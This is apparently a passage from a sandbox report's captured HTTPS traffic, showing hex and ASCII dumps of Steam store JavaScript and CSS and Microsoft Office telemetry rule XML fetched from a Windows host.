2024-10-06 11:20:56 UTC	15833	IN	Data Raw: 2e 61 70 70 65 6e 64 28 20 73 74 72 44 65 73 63 72 69 70 74 69 6f 6e 20 29 20 29 3b 0d 0a 0d 0a 09 69 66 20 28 20 72 67 42 75 74 74 6f 6e 73 2e 6c 65 6e 67 74 68 20 3e 20 30 20 29 0d 0a 09 7b 0d 0a 09 09 76 61 72 20 24 42 75 74 74 6f 6e 73 20 3d 20 24 4a 28 27 3c 64 69 76 2f 3e 27 2c 20 7b 27 63 6c 61 73 73 27 3a 20 27 6e 65 77 6d 6f 64 61 6c 5f 62 75 74 74 6f 6e 73 27 2c 20 27 64 61 74 61 2d 70 61 6e 65 6c 27 3a 20 27 7b 22 66 6c 6f 77 2d 63 68 69 6c 64 72 65 6e 22 3a 22 72 6f 77 22 7d 27 20 7d 20 29 3b 0d 0a 09 09 24 43 6f 6e 74 65 6e 74 2e 61 70 70 65 6e 64 28 20 24 42 75 74 74 6f 6e 73 20 29 3b 0d 0a 09 09 66 6f 72 28 20 76 61 72 20 69 20 3d 20 30 3b 20 69 20 3c 20 72 67 42 75 74 74 6f 6e 73 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 0d 0a 09 09 7b 0d Data Ascii: .append( strDescription ) );if ( rgButtons.length > 0 ){var $Buttons = $J('<div/>', {'class': 'newmodal_buttons', 'data-panel': '{"flow-children":"row"}' } );$Content.append( $Buttons );for( var i = 0; i < rgButtons.length; i++ ){
2024-10-06 11:20:56 UTC	16384	IN	Data Raw: 65 6e 74 20 2e 63 6f 6f 6b 69 65 4d 65 73 73 61 67 65 20 7b 5c 72 5c 6e 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 5c 72 5c 6e 20 20 20 20 7d 5c 72 5c 6e 20 20 20 20 62 6f 64 79 2e 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 20 2e 63 6f 6f 6b 69 65 70 72 65 66 65 72 65 6e 63 65 73 5f 70 6f 70 75 70 5f 63 6f 6e 74 65 6e 74 20 2e 62 75 74 74 6f 6e 47 72 6f 75 70 20 7b 5c 72 5c 6e 20 20 20 20 20 20 20 20 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 20 72 6f 77 3b 5c 72 5c 6e 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 30 70 78 3b 5c 72 5c 6e 20 20 20 20 7d 5c 72 5c 6e 20 20 20 20 62 6f 64 79 2e 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 20 2e 63 6f 6f 6b 69 65 70 72 65 66 65 72 65 6e 63 65 73 5f Data Ascii: ent .cookieMessage {\r\n margin-bottom: 20px;\r\n }\r\n body.responsive_page .cookiepreferences_popup_content .buttonGroup {\r\n flex-direction: row;\r\n margin-left: 0px;\r\n }\r\n body.responsive_page .cookiepreferences_
2024-10-06 11:20:56 UTC	947	IN	Data Raw: 65 66 65 72 65 6e 63 65 4e 61 6d 65 2c 20 64 65 66 61 75 6c 74 56 61 6c 75 65 20 29 0d 0a 7b 0d 0a 09 69 66 20 28 20 21 42 49 6e 73 69 64 65 49 46 72 61 6d 65 28 29 20 26 26 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 20 29 0d 0a 09 7b 0d 0a 09 09 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 5b 73 74 72 50 72 65 66 65 72 65 6e 63 65 4e 61 6d 65 5d 20 7c 7c 20 64 65 66 61 75 6c 74 56 61 6c 75 65 3b 0d 0a 09 7d 0d 0a 09 65 6c 73 65 0d 0a 09 7b 0d 0a 09 09 76 61 72 20 6f 53 74 6f 72 61 67 65 20 3d 20 5f 47 65 74 53 74 6f 72 61 67 65 46 72 6f 6d 43 6f 6f 6b 69 65 28 29 3b 0d 0a 0d 0a 09 09 72 65 74 75 72 6e 20 6f 53 74 6f 72 61 67 65 5b 73 74 72 50 72 65 66 65 72 65 6e 63 65 4e 61 6d 65 5d 20 7c 7c 20 64 65 66 Data Ascii: eferenceName, defaultValue ){if ( !BInsideIFrame() && window.localStorage ){return window.localStorage[strPreferenceName] \|\| defaultValue;}else{var oStorage = _GetStorageFromCookie();return oStorage[strPreferenceName] \|\| def
2024-10-06 11:20:56 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 77 72 61 70 70 65 72 20 29 3b 0d 0a 09 09 65 6c 2e 72 65 6d 6f 76 65 28 29 3b 0d 0a 09 7d 0d 0a 7d 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 44 79 6e 61 6d 69 63 4c 69 6e 6b 5f 50 6c 61 79 56 69 6d 65 6f 56 69 64 65 6f 49 6e 6c 69 6e 65 28 20 65 6c 65 6d 2c 20 76 69 64 65 6f 69 64 20 29 0d 0a 7b 0d 0a 09 76 61 72 20 65 6c 20 3d 20 24 4a 28 65 6c 65 6d 29 3b 0d 0a 09 76 61 72 20 76 69 64 65 6f 75 72 6c 20 3d 20 27 68 74 74 70 73 3a 2f 2f 70 6c 61 79 65 72 2e 76 69 6d 65 6f 2e 63 6f 6d 2f 76 69 64 65 6f 2f 27 20 2b 20 76 69 64 65 6f 69 64 20 2b 20 27 3f 62 61 64 67 65 3d 30 26 61 75 74 6f 70 61 75 73 65 3d 30 26 61 75 74 6f 70 6c 61 79 3d 31 26 70 6c 61 79 65 72 5f 69 64 3d 30 27 3b 0d 0a 09 76 61 72 20 77 72 61 70 70 65 72 20 3d Data Ascii: 00004000wrapper );el.remove();}}function DynamicLink_PlayVimeoVideoInline( elem, videoid ){var el = $J(elem);var videourl = 'https://player.vimeo.com/video/' + videoid + '?badge=0&autopause=0&autoplay=1&player_id=0';var wrapper =
2024-10-06 11:20:56 UTC	12	IN	Data Raw: 20 28 20 21 74 68 69 73 2e 6d 0d 0a Data Ascii: ( !this.m
2024-10-06 11:20:56 UTC	914	IN	Data Raw: 30 30 30 30 30 33 38 36 0d 0a 5f 62 52 65 73 74 6f 72 69 6e 67 53 63 72 6f 6c 6c 54 6f 70 20 29 0d 0a 09 7b 0d 0a 09 09 72 65 74 75 72 6e 3b 0d 0a 09 7d 0d 0a 09 76 61 72 20 73 63 72 6f 6c 6c 54 6f 70 50 72 65 76 69 6f 75 73 20 3d 20 70 61 72 73 65 49 6e 74 28 20 24 4a 28 20 22 23 22 20 2b 20 74 68 69 73 2e 6d 5f 73 74 72 45 6c 65 6d 65 6e 74 50 72 65 66 69 78 20 2b 20 27 5f 73 63 72 6f 6c 6c 5f 74 6f 70 27 29 2e 76 61 6c 28 29 20 29 3b 0d 0a 09 69 66 20 28 20 73 63 72 6f 6c 6c 54 6f 70 50 72 65 76 69 6f 75 73 20 29 0d 0a 09 7b 0d 0a 09 09 76 61 72 20 76 69 65 77 70 6f 72 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 76 69 65 77 70 6f 72 74 2e 67 65 74 44 69 6d 65 6e 73 69 6f 6e 73 28 29 3b 20 2f 2f 20 47 65 74 73 20 74 68 65 20 76 69 65 77 70 6f 72 74 20 61 73 Data Ascii: 00000386_bRestoringScrollTop ){return;}var scrollTopPrevious = parseInt( $J( "#" + this.m_strElementPrefix + '_scroll_top').val() );if ( scrollTopPrevious ){var viewport = document.viewport.getDimensions(); // Gets the viewport as
2024-10-06 11:20:56 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 73 28 29 3b 0d 0a 09 76 61 72 20 73 63 72 6f 6c 6c 54 6f 70 20 3d 20 73 63 72 6f 6c 6c 4f 66 66 73 65 74 2e 74 6f 70 3b 0d 0a 09 24 4a 28 20 22 23 22 20 2b 20 74 68 69 73 2e 6d 5f 73 74 72 45 6c 65 6d 65 6e 74 50 72 65 66 69 78 20 2b 20 27 5f 73 63 72 6f 6c 6c 5f 74 6f 70 27 29 2e 76 61 6c 28 20 73 63 72 6f 6c 6c 54 6f 70 20 29 3b 0d 0a 7d 3b 0d 0a 0d 0a 43 41 6a 61 78 49 6e 66 69 6e 69 74 65 53 63 72 6f 6c 6c 69 6e 67 43 6f 6e 74 72 6f 6c 73 2e 70 72 6f 74 6f 74 79 70 65 2e 4f 6e 53 63 72 6f 6c 6c 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 0d 0a 7b 0d 0a 09 69 66 20 28 20 74 68 69 73 2e 6d 5f 62 4c 6f 61 64 69 6e 67 20 29 0d 0a 09 09 72 65 74 75 72 6e 3b 0d 0a 0d 0a 09 76 61 72 20 69 4e 6f 77 20 3d 20 6e 65 77 20 44 61 74 65 28 Data Ascii: 00004000s();var scrollTop = scrollOffset.top;$J( "#" + this.m_strElementPrefix + '_scroll_top').val( scrollTop );};CAjaxInfiniteScrollingControls.prototype.OnScroll = function(){if ( this.m_bLoading )return;var iNow = new Date(
2024-10-06 11:20:56 UTC	12	IN	Data Raw: 65 6e 74 3b 0d 0a 09 09 09 7d 0d 0a Data Ascii: ent;}
2024-10-06 11:20:56 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 0d 0a 0d 0a 09 09 09 5f 74 68 69 73 2e 6d 5f 66 6e 4f 6e 43 68 61 6e 67 65 28 20 5f 74 68 69 73 2e 6d 5f 6e 56 61 6c 75 65 2c 20 74 72 75 65 20 29 3b 0d 0a 09 09 7d 0d 0a 09 09 76 61 72 20 6e 49 6e 69 74 69 61 6c 50 6f 73 69 74 69 6f 6e 20 3d 20 70 61 72 73 65 49 6e 74 28 20 5f 74 68 69 73 2e 6d 5f 24 47 72 61 62 62 65 72 2e 63 73 73 28 27 6c 65 66 74 27 29 20 29 3b 0d 0a 09 09 76 61 72 20 6e 53 74 61 72 74 44 72 61 67 58 20 3d 20 66 6e 47 65 74 50 61 67 65 58 28 20 65 76 65 6e 74 20 29 3b 0d 0a 0d 0a 09 09 24 4a 28 64 6f 63 75 6d 65 6e 74 29 2e 6f 6e 28 20 27 6d 6f 75 73 65 6d 6f 76 65 2e 43 53 6c 69 64 65 72 20 74 6f 75 63 68 6d 6f 76 65 2e 43 53 6c 69 64 65 72 27 2c 20 66 75 6e 63 74 69 6f 6e 28 20 65 76 65 6e 74 20 29 20 Data Ascii: 00004000_this.m_fnOnChange( _this.m_nValue, true );}var nInitialPosition = parseInt( _this.m_$Grabber.css('left') );var nStartDragX = fnGetPageX( event );$J(document).on( 'mousemove.CSlider touchmove.CSlider', function( event )

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.7	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:56 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:20:56 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:20:56 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 1be53f37-001e-00a2-0266-17d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112056Z-1657d5bbd48gqrfwecymhhbfm800000000sg000000005t7k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-06 11:20:56 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.7	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:56 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:20:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:20:56 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 1707b783-801e-00a3-53e5-167cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112056Z-1657d5bbd482lxwq1dp2t1zwkc00000001kg00000000dyx5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:20:56 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.7	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:56 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:20:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:20:56 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 73fc0cc0-d01e-008e-5fee-16387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112056Z-1657d5bbd48762wn1qw4s5sd3000000001ug000000003twd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:20:56 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.7	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:56 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:20:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:20:56 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 15158de7-401e-0029-4b00-179b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112056Z-1657d5bbd48t66tjar5xuq22r800000001s000000000gdtg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:20:56 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.7	49759	2.19.126.227	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:56 UTC	570	OUT	GET /public/shared/javascript/shared_responsive_adapter.js?v=pSvIAKtunfWg&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:56 UTC	347	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: "pSvIAKtunfWg" Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=13959300 Expires: Mon, 17 Mar 2025 00:55:56 GMT Date: Sun, 06 Oct 2024 11:20:56 GMT Content-Length: 24657 Connection: close
2024-10-06 11:20:56 UTC	16037	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 0d 0a 0d 0a 2f 2f 20 62 75 69 6c 64 20 6f 75 72 20 6d 65 6e 75 20 6f 6e 20 69 6e 69 74 0d 0a 6a 51 75 65 72 79 28 20 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0d 0a 09 76 61 72 20 6d 71 51 75 65 72 79 4d 65 6e 75 4d 6f 64 65 20 3d 20 77 69 6e 64 6f 77 2e 6d 61 74 63 68 4d 65 64 69 61 20 3f 20 77 69 6e 64 6f 77 2e 6d 61 74 63 68 4d 65 64 69 61 28 22 28 6d 61 78 2d 77 69 64 74 68 3a 20 39 31 30 70 78 29 22 29 20 3a 20 7b 6d 61 74 63 68 65 73 3a 20 66 61 6c 73 65 7d 3b 0d 0a 09 76 61 72 20 6d 71 4d 6f 62 69 6c 65 4d 6f 64 65 20 3d 20 77 69 6e 64 6f 77 2e 6d 61 74 63 68 4d 65 64 69 61 20 3f 20 77 69 6e 64 6f 77 2e 6d 61 74 63 68 4d 65 64 69 61 28 22 28 6d 61 78 2d 77 69 64 74 68 3a 20 35 30 30 70 78 29 22 29 20 3a 20 7b 6d Data Ascii: "use strict";// build our menu on initjQuery( function($) {var mqQueryMenuMode = window.matchMedia ? window.matchMedia("(max-width: 910px)") : {matches: false};var mqMobileMode = window.matchMedia ? window.matchMedia("(max-width: 500px)") : {m
2024-10-06 11:20:56 UTC	8620	IN	Data Raw: b3 d0 b0 d1 80 d1 81 d0 ba d0 b8 20 28 42 75 6c 67 61 72 69 61 6e 29 27 20 29 0d 0a 09 09 09 29 3b 0d 0a 09 09 09 09 09 24 53 65 6c 65 63 74 42 6f 78 2e 61 70 70 65 6e 64 28 0d 0a 09 09 09 09 24 4a 28 27 3c 6f 70 74 69 6f 6e 2f 3e 27 2c 20 7b 76 61 6c 75 65 3a 20 22 63 7a 65 63 68 22 7d 20 29 2e 74 65 78 74 28 20 27 c4 8c 65 c5 a1 74 69 6e 61 20 28 43 7a 65 63 68 29 27 20 29 0d 0a 09 09 09 29 3b 0d 0a 09 09 09 09 09 24 53 65 6c 65 63 74 42 6f 78 2e 61 70 70 65 6e 64 28 0d 0a 09 09 09 09 24 4a 28 27 3c 6f 70 74 69 6f 6e 2f 3e 27 2c 20 7b 76 61 6c 75 65 3a 20 22 64 61 6e 69 73 68 22 7d 20 29 2e 74 65 78 74 28 20 27 44 61 6e 73 6b 20 28 44 61 6e 69 73 68 29 27 20 29 0d 0a 09 09 09 29 3b 0d 0a 09 09 09 09 09 24 53 65 6c 65 63 74 42 6f 78 2e 61 70 70 65 6e 64 Data Ascii: (Bulgarian)' ));$SelectBox.append($J('<option/>', {value: "czech"} ).text( 'etina (Czech)' ));$SelectBox.append($J('<option/>', {value: "danish"} ).text( 'Dansk (Danish)' ));$SelectBox.append

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.7	49760	2.19.126.97	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:56 UTC	410	OUT	GET /public/javascript/dynamicstore.js?v=uk2vdkhDxGM-&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:56 UTC	399	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: "fz6Sv1tbS3ZE" Last-Modified: Fri, 17 Apr 1970 21:04:50 GMT Strict-Transport-Security: max-age=10368000 Cache-Control: public, must-revalidate, max-age=0 Expires: Sun, 06 Oct 2024 11:20:56 GMT Date: Sun, 06 Oct 2024 11:20:56 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-10-06 11:20:56 UTC	15985	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 47 65 74 45 6c 65 6d 53 4e 52 28 20 24 45 6c 65 6d 20 29 0d 0a 7b 0d 0a 09 76 61 72 20 73 6e 72 20 3d 20 24 45 6c 65 6d 2e 64 61 74 61 28 20 27 73 6e 72 27 20 29 3b 0d 0a 09 69 66 20 28 20 74 79 70 65 6f 66 20 73 6e 72 20 21 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 29 0d 0a 09 7b 0d 0a 09 09 72 65 74 75 72 6e 20 73 6e 72 3b 0d 0a 09 7d 0d 0a 0d 0a 09 2f 2f 20 6c 6f 6f 6b 20 66 6f 72 20 6c 69 6e 6b 73 20 77 69 74 68 20 73 6e 72 20 70 61 72 61 6d 65 74 65 72 0d 0a 09 76 61 72 20 6c 69 6e 6b 73 20 3d 20 24 45 6c 65 6d 2e 69 73 28 20 27 61 27 20 29 20 3f 20 24 45 6c 65 6d 20 3a 20 24 45 6c 65 6d 2e 66 69 6e 64 28 20 27 61 27 20 29 3b 0d 0a 09 73 6e 72 20 3d 20 6e 75 6c 6c 3b 0d 0a 09 66 6f 72 20 Data Ascii: 0000C000function GetElemSNR( $Elem ){var snr = $Elem.data( 'snr' );if ( typeof snr != 'undefined' ){return snr;}// look for links with snr parametervar links = $Elem.is( 'a' ) ? $Elem : $Elem.find( 'a' );snr = null;for
2024-10-06 11:20:56 UTC	15839	IN	Data Raw: 6c 75 73 74 65 72 2e 65 6c 53 63 72 6f 6c 6c 41 72 65 61 20 29 3b 0d 0a 09 09 76 61 72 20 63 61 70 73 75 6c 65 73 20 3d 20 24 53 63 72 6f 6c 6c 69 6e 67 43 6f 6e 74 61 69 6e 65 72 2e 66 69 6e 64 28 20 27 2e 63 6c 75 73 74 65 72 5f 63 61 70 73 75 6c 65 27 20 29 3b 0d 0a 09 09 47 44 79 6e 61 6d 69 63 53 74 6f 72 65 2e 73 5f 49 6d 70 72 65 73 73 69 6f 6e 54 72 61 63 6b 65 72 2e 54 72 61 63 6b 41 70 70 65 61 72 61 6e 63 65 49 66 56 69 73 69 62 6c 65 28 20 63 61 70 73 75 6c 65 73 5b 63 6c 75 73 74 65 72 2e 6e 43 75 72 43 61 70 5d 20 29 3b 0d 0a 09 7d 2c 0d 0a 0d 0a 09 48 61 6e 64 6c 65 43 61 72 6f 75 73 65 6c 43 68 61 6e 67 65 3a 20 66 75 6e 63 74 69 6f 6e 28 20 74 61 72 67 65 74 69 64 2c 20 63 75 72 50 6f 73 2c 20 70 61 67 65 53 69 7a 65 20 29 20 7b 0d 0a 09 Data Ascii: luster.elScrollArea );var capsules = $ScrollingContainer.find( '.cluster_capsule' );GDynamicStore.s_ImpressionTracker.TrackAppearanceIfVisible( capsules[cluster.nCurCap] );},HandleCarouselChange: function( targetid, curPos, pageSize ) {
